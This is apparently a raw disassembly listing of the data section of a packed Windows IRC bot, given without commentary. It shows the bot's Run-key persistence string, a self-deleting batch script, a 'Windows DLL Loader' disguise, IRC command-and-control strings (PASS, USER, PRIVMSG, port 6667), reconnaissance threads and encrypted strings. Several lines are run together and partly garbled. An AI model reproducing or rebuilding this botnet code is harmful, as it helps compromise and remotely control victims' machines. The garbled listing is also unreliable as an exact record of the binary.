dword_418BF0	dd 0E38C9592h, 0C4FDFFECh, 0A0A1ACA1h, 0EEB2FCB9h, 0D4CF88BAh
					; DATA XREF: .packed:00418BE4o
		dd 0CDFEFCFBh, 9AE9A7h,	0
dword_418C10	dd 0E19799B6h, 0C7E0E3EFh, 0AB90E9FBh, 2 dup(0)
					; DATA XREF: .packed:00418BE0o
dword_418C24	dd 0FD9F8C9Eh, 0D6F3EFEAh, 0EE86E3BCh, 0E5B9F881h, 0F0A8DCADh
					; DATA XREF: .packed:00418BDCo
		dd 0C3E5E9F7h, 0ABBBACACh, 0E3A9EFBFh, 0BAh, 0
; ---------------------------------------------------------------------------


loc_418C4C:				; DATA XREF: .packed:00418BD8o
		mov	esi, 0ADE28890h
		jmp	loc_425440
; ---------------------------------------------------------------------------
		align 4
		dd 0
dword_418C5C	dd 0FE808CACh, 8CE4FFCAh, 8DF4B0h, 0dword_418C6C	dd 0FE808C8Ch, 82E0E9EFh, 9D8AF986h, 0E5B4EAB4h, 0E1AEDCB2h
					; DATA XREF: .packed:00418BCCo
					; .packed:00418BD4o
		dd 0F3h, 0
dword_418C88	dd 0FE808CACh, 0C1E4FFEFh, 0AB90E9FBh, 2 dup(0)
					; DATA XREF: .packed:00418BC8o
dword_418C9C	dd 0F5819588h, 82E1FBECh, 0B99CE99Bh, 0A0ABEBA2h, 0F49D9599h
					; DATA XREF: .packed:00418BC4o
		dd 0CEFEEDF4h, 2 dup(0)
dword_418CBC	dd 0F49D95B9h, 0CEFEEDF4h, 0AB90E9FBh, 2 dup(0)
					; DATA XREF: .packed:00418BC0o
dword_418CD0	dd 0F0819588h, 0E3B2FCEEh, 0BA86E9B2h, 2 dup(0)
					; DATA XREF: .packed:00418BBCo
dword_418CE4	dd 0F08195A8h, 0C7BCFCEEh, 0E9ADh, 0dword_418CF4	dd 0F5819588h, 82E1FBECh, 0A298F490h, 0F2A5EBA2h, 2 dup(0)
					; DATA XREF: .packed:00418BB4o
dword_418D0C	dd 0FD9F84BAh, 0D0F7FEECh, 0AB90E9FBh, 2 dup(0)
					; DATA XREF: .packed:00418BB0o
; ---------------------------------------------------------------------------


loc_418D20:				; DATA XREF: .packed:00418BA8o
		test	al, 95h
		sbb	eax, 0CCFDEBECh
		sti
		jmp	loc_4238BE
; ---------------------------------------------------------------------------
		align 10h
		dd 0
dword_418D34	dd 0F5819588h, 82E1FBECh, 0A18FE399h, 0F081B9A3h, 0F28690AFh
					; DATA XREF: .packed:00418BA4o
					; .packed:00418BACo
		dd 0CDFBF8E2h, 0BBh, 0
dword_418D54	dd 0FE8893B3h, 0DAF7A2EDh, 0B0h, 0dword_418D64	dd 0F486909Ch, 0F1B2F8EDh, 0AB9EFEB0h, 0F592B9BFh, 0FC8688B1h
					; DATA XREF: .packed:00418B9Co
		dd 0D0C2ACE6h, 0BD8DEFBAh, 0BEh, 0
; ---------------------------------------------------------------------------


loc_418D88:				; DATA XREF: .packed:00418B98o
		mov	esp, 0ADE29D8Fh
		jmp	loc_42557C
; ---------------------------------------------------------------------------
		align 8
dword_418D98	dd 0E28E8F96h, 0DAF7A2F0h, 0B0h, 0dword_418DA8	dd 0F08C9393h, 0C7C1ACEFh, 0A79AF9B6h, 0C1E0E0B9h, 0FE8788AAh
					; DATA XREF: .packed:off_418B8Co
					; .packed:00418B94o
		dd 0DBE6E5F1h, 0BC8DDFF5h, 0E5A3F0BBh, 2 dup(0)
dword_418DD0	dd 0F09C8FB3h, 0DAF7A2F0h, 0B0h, 0dword_418DE0	dd 293Ah	dword_418DE4	dd 5Ch							; sub_406AE7+1Bo ...
dword_418DE8	dd 7078655Ch, 65726F6Ch, 78652E72h, 65haSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_406C51+1Co
		align 4
a@echoOffDelete	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_406D90+A8o
		db ':deleteagain',0Dh,0Ah
		db 'del /A:H /F %s',0Dh,0Ah
		db 'del /F %s',0Dh,0Ah
		db 'if exist %s goto deleteagain',0Dh,0Ah
		db 'del %s',0Dh,0Ah,0
		align 4
a_bat		db '.bat',0             ; DATA XREF: sub_406D90+39o
		align 4
aWindowsDllLoad	db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do
					; sub_407148+19Do
		align 10h
aQuitSUninstall	db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o
					; sub_407148+1C9o
		align 4
dword_418EB8	dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h
					; DATA XREF: sub_40732D+115o
		dd 2037325h, 206F7420h,	6B636F73h, 34300373h, 3752502h
		dd 65732002h, 72657672h, 7325h
dword_418EEC	dd 6A657220h, 65746365h, 64hdword_418EF8	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_40764D+6Ao
		dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh
		dd 2343003h, 2037325h, 0
dword_418F2C	dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h
					; DATA XREF: sub_4077DD+9Co
		dd 34300320h, 3732502h,	2
dword_418F4C	dd 20h							; sub_407928+96o ...
dword_418F50	dd 30h							; sub_40CA29+13Do ...
dword_418F54	dd 252E7325h, 73252E73h, 73252Eh					; sub_40806A+BDo
dword_418F60	dd 0BF818FB2h, 0FFE3E0h, 0dword_418F6C	dd 0BF988BA8h, 0D0E0E9F7h, 0A18BA2B4h, 0F2A2B7A0h, 2 dup(0)
					; DATA XREF: sub_408887+14o
dword_418F84	dd 0BF818FB2h, 0E9E7h, 0dword_418F90	dd 0FC9A9DBBh, 0D6F7E2ADh, 2 dup(0)dword_418FA0	dd 0F68093B8h, 0C3BCE9EFh, 0B0h, 0dword_418FB0	dd 0F48195B1h, 8CFCFFEEh, 0E085E3B6h, 0ECACh, 0off_418FC4	dd offset dword_4190E8	; DATA XREF: sub_4088FC+19r
					; sub_4088FC+60r
off_418FC8	dd offset dword_4190B4	; DATA XREF: sub_4088FC+8Ar
		dd offset dword_419098
		dd offset dword_419054
		dd offset dword_41903C
		dd offset dword_418FE4
		dd 2 dup(0)
dword_418FE4	dd 0FF9893BBh, 0C6F3E3EFh, 0A389EBFBh, 0F9EEEAA8h, 0FE8094BEh
					; DATA XREF: .packed:00418FD8o
		dd 0CFFDEFADh, 0A389EBFAh, 0E4EFEAA8h, 0FD818BB0h, 8DF6EDECh
		dd 0A08FE5A6h, 0F0EFFDA8h, 0F08C8CB0h, 0C3EBA3F3h, 9187E3BDh
		dd 0E5AAFCAFh, 0F48399A8h, 0D6CDBEE7h, 0FFC5BDB8h, 0E5B8FCE3h
		dd 2 dup(0)
dword_41903C	dd 0F6C18FAAh, 0D1F7E1E2h, 0A791A2E4h, 0E3EEFEA0h, 91B0h
					; DATA XREF: .packed:00418FD4o
		dd 0
dword_419054	dd 0FF9893BBh, 0C6F3E3EFh, 0FFC7BFFAh, 0B3EFFFE2h, 0A0DB9AEEh
					; DATA XREF: .packed:00418FD0o
		dd 8FA5BEB7h, 0ABDCBCEDh, 0E6F8ADE0h, 0F2D7D1E6h, 97BFB4B2h
		dd 0F78CBDB4h, 0B8F5FBFEh, 0BE8ACFEAh, 0D1F3FFEEh, 0E08BE2ACh
		dd 0A5E1A8h, 0
dword_419098	dd 0FF9893BBh, 0C6F3E3EFh, 0AD81E1FBh, 0EFB3F6BFh, 0F2C188B9h
					; DATA XREF: .packed:00418FCCo
		dd 0E1ECh, 0
dword_4190B4	dd 0F09B9DBBh, 8DFCE9ACh, 0E18FE5B7h, 0F2B2ECAEh, 0BE9B92BAh
					; DATA XREF: .packed:off_418FC8o
		dd 0C5FDE3C4h, 0A1BCE9B9h, 0E1A2F5A2h, 0E281B5ADh, 0CEFEEDF7h
		dd 0ABC6FEB0h, 0FCB5h, 0
dword_4190E8	dd 0FD8093ABh, 8CE0EDE1h, 0A987E3B2h, 0E3EEFCA1h, 91B0h
					; DATA XREF: .packed:off_418FC4o
		dd 0
off_419100	dd offset loc_415353+2	; DATA XREF: sub_408342+2Co
dword_419104	dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh
					; DATA XREF: sub_4083AD+3CEo
		dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h
		dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h
		dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah
		dd 34300320h, 3642502h,	7A484D02h, 6152202Eh, 3203A6Dh
		dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h
		dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h
		dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h
		dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h
		dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh
		dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h
		dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh
dword_4191F4	dd 73h							; sub_4083AD:loc_4086E7o ...
aProcessornames	db 'ProcessorNameString',0 ; DATA XREF: sub_4083AD+2D2o
aHardwareDescri	db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0
					; DATA XREF: sub_4083AD+296o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4083AD:loc_4085EBo
					; sub_408B30:loc_408CB4o ...
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_4083AD+232o
					; sub_408B30+178o ...
a2003		db '2003',0             ; DATA XREF: sub_4083AD+1FFo
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_4083AD+1E1o
		align 10h
a2000		db '2000',0             ; DATA XREF: sub_4083AD+1C3o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4083AD+1A5o
		align 4
a98		db '98',0               ; DATA XREF: sub_4083AD+187o
		align 10h
aNt		db 'NT',0               ; DATA XREF: sub_4083AD+166o
		align 4
a95		db '95',0               ; DATA XREF: sub_4083AD+153o
		align 4
aNoSp		db 'no SP',0            ; DATA XREF: sub_4083AD+12Eo
		align 10h
a?:					; DATA XREF: sub_4083AD+124o
		unicode	0, <?>,0
aSysinfoThread	db 'Sysinfo thread',0   ; DATA XREF: sub_4087C4+2Bo
		align 4
dword_419284	dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h
					; DATA XREF: sub_408B30+2D4o
		dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh
		dd 203A656Dh, 2343003h,	2037325h, 7954202Eh, 203A6570h
		dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h
		dd 2037325h, 6946202Eh,	61776572h, 64656C6Ch, 3003203Ah
		dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h
		dd 3732502h, 25202C02h,	53202E75h, 64656570h, 3003203Ah
		dd 30250234h, 366322Eh,	424B2B02h, 6365732Fh, 5249202Eh
		dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h
		dd 20732579h, 2343003h,	2036425h, 72756F68h, 3207325h
		dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0
aGood		db 'Good',0             ; DATA XREF: sub_408B30+1F9o
		align 4
aAvarage	db 'Avarage',0          ; DATA XREF: sub_408B30+1E3o
aBad		db 'Bad',0              ; DATA XREF: sub_408B30+1CDo
aLan		db 'LAN',0              ; DATA XREF: sub_408B30:loc_408C8Fo
aModem		db 'Modem',0            ; DATA XREF: sub_408B30+14Do
		align 10h
aUnknown_0	db 'Unknown',0          ; DATA XREF: sub_408B30+F5o
					; sub_408B30+108o
aNetinfoThread	db 'Netinfo thread',0   ; DATA XREF: sub_408E4A+2Bo
		align 4
dword_419398	dd 5C3A41h						; sub_408F2E+4Er ...
dword_41939C	dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h
					; DATA XREF: sub_408F2E+270o
		dd 2037525h, 6F54202Ch,	206C6174h, 63617073h, 3203A65h
		dd 25023430h, 4D020375h, 72662042h, 2E6565h
dword_4193D4	dd 30037325h, 73250234h, 73250203h, 0dword_4193E4	dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h
					; DATA XREF: sub_408F2E+1C5o
		dd 20424D02h, 65657266h, 0
dword_419404	dd 202Eh						; sub_408F2E+24Ao
aUnknown	db 'unknown',0          ; DATA XREF: sub_408F2E:loc_40902Do
					; sub_4129CA+34o
aRamdisk	db 'ramdisk',0          ; DATA XREF: sub_408F2E+F6o
aCdRom		db 'cd-rom',0           ; DATA XREF: sub_408F2E+E4o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: sub_408F2E+D2o
		align 4
aFixed		db 'fixed',0            ; DATA XREF: sub_408F2E+C0o
		align 10h
aRemovable	db 'removable',0        ; DATA XREF: sub_408F2E+AEo
		align 4
aDriveInformati	db 'Drive information - ',0 ; DATA XREF: sub_408F2E+2Eo
		align 4
aDriveinfoThrea	db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo
		align 4
aThread		db 'thread',0           ; DATA XREF: sub_4093B6+98o
					; sub_4094E6+93o
		align 10h
aBtg		db 'btg',0              ; DATA XREF: sub_4093B6+93o
dword_419474	dd 3430032Dh, 62656402h, 2036775haBtgTriedExecut	db '- btg tried executing an unreadable address. (%08X)',0
aS		db '*%s*',0             ; DATA XREF: sub_4097A7+81o
					; sub_4098F3+C4o
		align 4
dword_4194BC	dd 2343003h, 2036925h, 7325202Eh, 0dword_4194CC	dd 3430032Dh, 2037802haNoThreadsRunni	db '- No threads running.',0
		align 4
dword_4194EC	dd 3430032Dh, 2037802h,	694C202Dh, 6E697473h, 30032067h
					; DATA XREF: sub_409AD5+3Ao
		dd 69250234h, 32F0203h,	25023430h, 20020369h, 65726874h
		dd 3A736461h, 0
aCouldNotGetAVa	db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o
		align 10h
dword_419540	dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h
					; DATA XREF: sub_409DD0+3A3o
		dd 30033A72h, 64250234h, 203h
dword_419568	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_409DD0+37Fo
		dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h
		dd 203h
dword_419594	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_409DD0+32Fo
		dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h
		dd 2E64252Eh, 296425h
aCouldNotResolv	db 'Could not resolve name',0 ; DATA XREF: sub_409DD0:loc_409F06o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409DD0+80o
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409DD0+6Ao
		align 4
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409DD0:loc_409E24o
		align 4
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_409DD0+34o
		align 4
unk_419618	db  55h	; U		; DATA XREF: sub_40A1A7+Co
		db 73h,	61h, 67h
		db  65h	; e
		db 3Ah,	20h, 3
		db  30h	; 0
		db 34h,	2, 74h
		db  72h	; r
		db 61h,	63h, 65h
		db    3
		db 2, 20h, 3Ch
		db    3
		db 30h,	34h, 2
		db  68h	; h
		db 6Fh,	73h, 74h
		db    3
		db 2, 3Eh, 20h
aHopcountTimeou	db '[<hopcount> <timeout> <pingcount>]',0
		align 4
dword_41965C	dd 202h		dword_419660	dd 0A0D7325h, 0	dword_419668	dd 3334h	dword_41966C	dd 3430032Dh, 3752502h,	51202D02h, 79726575h, 20676E69h
					; DATA XREF: sub_40A2D2+24o
		dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h
		dd 3A02h
dword_419698	dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h
					; DATA XREF: sub_40A4A4+44o
		dd 2E020373h, 0
dword_4196B4	dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h
					; DATA XREF: sub_40A50E+97o
		dd 30032072h, 73250234h, 203h
dword_4196D4	dd 0F88094A8h, 0D0F3A2F0h, 0A0C6E2BCh, 0EDA8h, 0
					; DATA XREF: sub_40A50E:loc_40A562o
aAbcdef		db 'abcdef',0           ; DATA XREF: sub_40A8AD+1Bo
		align 10h
aUsername	db 'username',0         ; DATA XREF: sub_40A9CF:loc_40C8EAo
		align 4
aId		db 'id',0               ; DATA XREF: sub_40A9CF+1EF2o
		align 10h
dword_419700	dd 12EA0h			align 8
dword_419708	dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h
					; DATA XREF: sub_40A9CF+1EB1o
		dd 3642502h, 79616402h,	3207325h, 25023430h, 68020364h
		dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh
		dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h
		dd 3207325h, 25023430h,	68020364h, 2572756Fh, 30032073h
		dd 64250234h, 696D0203h, 6574756Eh, 7325h
dword_41977C	dd 4DC8A28h			dd 2 dup(0)
dword_419788	dd 4D38h			align 10h
dword_419790	dd 22710E8h			dd 2 dup(0)
a9252		db '9252',0             ; DATA XREF: sub_40A9CF+1BFAo
		align 4
dword_4197A4	dd 99C3EAA0h			dd 3 dup(0)
dword_4197B4	dd 261D51F8h			align 10h
dword_4197C0	dd 260A0h			align 8
dword_4197C8	dd 1371D1F8h			dd 2 dup(0)
dword_4197D4	dd 135E8h			dd 0
dword_4197DC	dd 0E7606A0h			dd 2 dup(0)
dword_4197E8	dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h
					; DATA XREF: sub_40A9CF+1B17o
		dd 3643330h, 20732502h,	6E69575Bh, 5D3233h
dword_41980C	dd 18820E30h			dd 2 dup(0)
dword_419818	dd 18788h			align 10h
dword_419820	dd 65657053h, 3203A64h,	25023430h, 4B020375h, 65732F42h
					; DATA XREF: sub_40A9CF+1AC8o
		dd 63h
dword_419838	dd 4CBE20h			dd 2 dup(0)
dword_419844	dd 2343003h, 2037325haHasNoIpv4End_	db ' has no ipv4 end.',0
		align 10h
dword_419860	dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h
					; DATA XREF: sub_40A9CF+1976o
		dd 2037325h, 20736920h,	2343003h, 252E6925h, 69252E69h
		dd 369252Eh, 2
a2002		db '2002',0             ; DATA XREF: sub_40A9CF+1851o
		align 4
dword_419898	dd 0E7AAB82Ch			dd 3 dup(0)
dword_4198A8	dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h
					; DATA XREF: sub_40A9CF+17C1o
		dd 2037325h, 0
dword_4198C4	dd 158F28h			align 10h
dword_4198D0	dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h
					; DATA XREF: sub_40A9CF+16F1o
					; sub_40A9CF+17ECo
		dd 2037325h, 2Eh
dword_4198EC	dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h
					; DATA XREF: sub_40A9CF+16AAo
		dd 20657079h, 2343003h,	2036425h, 64646120h, 73736572h
		dd 3003203Ah, 73250234h, 203h
dword_419920	dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h
					; DATA XREF: sub_40A9CF+1659o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_419944	dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h
					; DATA XREF: sub_40A9CF+1602o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_419968	dd 3Ch							; sub_40A9CF:loc_40C011o ...
dword_41996C	dd 0FF28h			dd 0
aQuitChangingSe	db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o
		align 4
dword_41998C	dd 5B7606ABh			dd 3 dup(0)
dword_41999C	dd 26C9788h			dd 2 dup(0)
dword_4199A8	dd 48B0h			align 10h
dword_4199B0	dd 4CEEE8h			dd 2 dup(0)
dword_4199BC	dd 0ECE0h			dd 0
dword_4199C4	dd 0DC9BA4F1h			dd 3 dup(0)
dword_4199D4	dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h
					; DATA XREF: sub_40A9CF+1431o
		dd 2343003h, 30257830h,	2035832h, 63656420h, 3003203Ah
		dd 75250234h, 2E0203h
dword_419A04	dd 8A248h			align 10h
dword_419A10	dd 2D77B5A0h			dd 2 dup(0)
dword_419A1C	dd 10468h			dd 0
dword_419A24	dd 12BBA0h			align 10h
dword_419A30	dd 1471A0h			dd 2 dup(0)
dword_419A3C	dd 45444F4Dh, 732520hdword_419A44	dd 8BD28h			align 10h
dword_419A50	dd 1277AE62h			align 10h
aDebugModeIsS_	db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40A9CF:loc_40BC5Bo
aOn		db 'on',0               ; DATA XREF: sub_40A9CF+1280o
					; sub_40A9CF:loc_40BC84o
		align 4
off_419A7C	dd offset loc_410DB7+1	; DATA XREF: sub_40A9CF+125Fr
		dd 2 dup(0)
dword_419A88	dd 2DCF8h			align 10h
dword_419A90	dd 4688368h			dd 2 dup(0)
dword_419A9C	dd 123B8h			dd 0
dword_419AA4	dd 4C2338h			align 10h
dword_419AB0	dd 54524150h, 732520hdword_419AB8	dd 1265A0h			dd 2 dup(0)
dword_419AC4	dd 0C0AB0h			align 10h
dword_419AD0	dd 4E494F4Ah, 20732520h, 7325h					; sub_40A9CF+10FAo ...
dword_419ADC	dd 0A6CB0h			dd 2 dup(0)
aQuitSRemoved_	db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao
		align 4
dword_419AFC	dd 5AF4DA8h			dd 2 dup(0)
dword_419B08	dd 8085E8h			dd 2 dup(0)
dword_419B14	dd 4CD168h			align 10h
dword_419B20	dd 0CEF58D2Ch			align 10h
dword_419B30	dd 2DB260E0h			dd 2 dup(0)
dword_419B3C	dd 90BBA32Ch			dd 3 dup(0)
dword_419B4C	dd 48489E0h			dd 2 dup(0)
dword_419B58	dd 1246E8h			dd 2 dup(0)
dword_419B64	dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h
					; DATA XREF: sub_40A9CF+E77o
dword_419B78	dd 0DFBD949h			dd 3 dup(0)
dword_419B88	dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h
					; DATA XREF: sub_40A9CF+E2Fo
		dd 2037325h, 0
off_419BA4	dd offset loc_40E3E0	; DATA XREF: sub_40A9CF+DC8r
		align 10h
aItTookMeUms_	db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o
		align 4
dword_419BC4	dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h
					; DATA XREF: sub_40A9CF+D20o
		dd 2037325h, 0
dword_419BE0	dd 293E0h			align 8
dword_419BE8	dd 0E426671h			dd 3 dup(0)
dword_419BF8	dd 0E04A6C27h			dd 4 dup(0)
dword_419C0C	dd 2BBDB0A9h			dd 3 dup(0)
dword_419C1C	dd 86670h			dd 2 dup(0)
dword_419C28	dd 23C76670h			dd 2 dup(0)
dword_419C34	dd 4CBE670h			align 10h
dword_419C40	dd 2577B5A0h			dd 2 dup(0)
dword_419C4C	dd 203A5049h, 2343003h,	2037325h, 0dword_419C5C	dd 4C38h			dd 0
dword_419C64	dd 123F0AA8h			align 10h
dword_419C70	dd 289D4860h			dd 2 dup(0)
dword_419C7C	dd 28A446E8h			dd 2 dup(0)
dword_419C88	dd 5E9DD92Bh			dd 3 dup(0)
dword_419C98	dd 5E9E29C3h			dd 3 dup(0)
dword_419CA8	dd 489DAC36h			dd 3 dup(0)
dword_419CB8	dd 29A560E1h			dd 3 dup(0)
dword_419CC8	dd 9A060h			dd 2 dup(0)
dword_419CD4	dd 69F334E0h			dd 3 dup(0)
dword_419CE4	dd 14EFBCE0h			align 10h
dword_419CF0	dd 0A7768h			dd 2 dup(0)
dword_419CFC	dd 0B4768h			dd 2 dup(0)
dword_419D08	dd 43B8h			align 10h
aThisBuildIsBro	db 'This build is broken and will not function properly.',0
					; DATA XREF: sub_40A9CF:loc_40B1D8o
		align 4
aThisBuildIsFul	db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo
		align 4
dword_419D68	dd 2343003h, 4B4F5242h,	2034E45h, 0dword_419D78	dd 2333003h, 2034B4Fh, 0dword_419D84	dd 0AFh, 0	dword_419D8C	dd 0B4B7B58Ah, 0EBD0ACF6h, 0EE9DA98Dh, 0DBFAB7E3h, 0B19CD9FFh
					; DATA XREF: sub_40A9CF+790o
		dd 8CBCB6DEh, 0E09BA9F5h, 2 dup(0)
dword_419DB0	dd 3115E88h			dd 2 dup(0)
dword_419DBC	dd 0B12C0878h			dd 3 dup(0)
dword_419DCC	dd 0EE5AD128h			dd 3 dup(0)
aALSsSCJEKi	db '¿«×ÄÄØé˜Ü¹œ™Ï—؆ÎÜ¥µ»ª›',0 ; DATA XREF: sub_40A9CF+534o
		align 4
		dd 0
dword_419DFC	dd 0F888959Bh, 0F2FEEDF7h, 0BB8CE3A7h, 0C489EDAEh, 2 dup(0)
					; DATA XREF: sub_40A9CF+448o
dword_419E14	dd 0C5A9B38Ch, 0E7C0CDD4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h
					; DATA XREF: sub_40A9CF+437o
		dd 0CDF6E2EAh, 80C8FFA2h, 0F583C599h, 0FF8A8EADh, 0D0F7DAF7h
		dd 0A087E5A6h, 2 dup(0)
dword_419E48	dd 24648h			align 10h
dword_419E50	dd 29A012A1h			align 10h
dword_419E60	dd 29A0C6E9h			align 10h
dword_419E70	dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h
					; DATA XREF: sub_40A9CF+39Co
		dd 3203A64h, 25023430h,	20373h
dword_419E90	dd 0FDD9520h			dd 2 dup(0)
dword_419E9C	dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h
					; DATA XREF: sub_40A9CF+2A1o
		dd 3D203A64h, 2343003h,	2037325h, 0
dword_419EC0	dd 232320h	dword_419EC4	dd 25219520h			align 10h
dword_419ED0	dd 407D28h			dd 2 dup(0)
dword_419EDC	dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h
					; DATA XREF: sub_40A9CF+139o
		dd 2037325h, 0
dword_419EF8	dd 47B91A8h			dd 2 dup(0)
dword_419F04	dd 4B43494Eh, 732520h					; sub_40A9CF+EFo ...
dword_419F0C	dd 132330h			dd 2 dup(0)
dword_419F18	dd 3677C869h			dd 3 dup(0)
aLinkLink@linkP	db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_40C93C+88o
					; sub_40D871+85Fo
		align 4
asc_419F48:				; DATA XREF: sub_40C93C+30o
					; sub_40C93C+B5o
		unicode	0, <;>,0
asc_419F4C	db '<=',0               ; DATA XREF: sub_40CA29:loc_40CE59o
		align 10h
asc_419F50	db '>=',0               ; DATA XREF: sub_40CA29:loc_40CE07o
		align 4
asc_419F54:				; DATA XREF: sub_40CA29:loc_40CDDBo
		dw 3Eh
		unicode	0, <>,0
asc_419F58	db '!=',0               ; DATA XREF: sub_40CA29:loc_40CDAFo
		align 4
asc_419F5C	db '==',0               ; DATA XREF: sub_40CA29:loc_40CD83o
		align 10h
aIpv6		db '$ipv6',0            ; DATA XREF: sub_40CA29:loc_40CC43o
					; sub_40CA29:loc_40CD58o
		align 4
aFirewall	db '$firewall',0        ; DATA XREF: sub_40CA29:loc_40CC1Fo
					; sub_40CA29:loc_40CD34o
		align 4
aLatency	db '$latency',0         ; DATA XREF: sub_40CA29:loc_40CBFBo
					; sub_40CA29:loc_40CD10o
		align 10h
aFree		db '$free',0            ; DATA XREF: sub_40CA29:loc_40CBD7o
					; sub_40CA29:loc_40CCECo
		align 4
aVersion	db '$version',0         ; DATA XREF: sub_40CA29:loc_40CBB1o
					; sub_40CA29:loc_40CCC6o
		align 4
aUptime		db '$uptime',0          ; DATA XREF: sub_40CA29+158o
					; sub_40CA29+26Do
a32s16s32s	db '%32s %16s %32s',0   ; DATA XREF: sub_40CA29+EEo
		align 4
asc_419FAC	db '&&',0               ; DATA XREF: sub_40CA29+9Do
					; sub_40CA29+45Do
		align 10h
asc_419FB0:				; DATA XREF: sub_40CA29+28o
		unicode	0, <)>,0
aExecutingComma	db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co
		align 10h
a6667		db '6667',0             ; DATA XREF: sub_40CF2F:loc_40CF60o
		align 4
aCSCCUCUSCCC	db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo
					; sub_40D871+431o
		align 10h
aG:					; DATA XREF: sub_40D043+1DCo
					; sub_40D871+392o
		unicode	0, <G>,0
aA:					; DATA XREF: sub_40D043+1C6o
					; sub_40D871+37Co
		unicode	0, <A>,0
aB:					; DATA XREF: sub_40D043+1B0o
					; sub_40D871+366o
		unicode	0, <B>,0
aUnk		db 'UNK',0              ; DATA XREF: sub_40D043+160o
					; sub_40D871+316o
aUserSSSS	db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_40D043+3Fo
aNoticeS	db 'NOTICE %s :',0      ; DATA XREF: sub_40D420+10o
					; sub_40D53F+37o
aPrivmsgS	db 'PRIVMSG %s :',0     ; DATA XREF: sub_40D4AB+10o
					; sub_40D53F+AFo
		align 4
dword_41A038	dd 1		dword_41A03C	dd 7373656Dh, 20656761h, 0dword_41A048	dd 49544F4Eh, 25204543h, 13A2073h, 0dword_41A058	dd 56495250h, 2047534Dh, 3A207325h, 1aMirc		db 'mIRC',0             ; DATA XREF: sub_40D734+6o
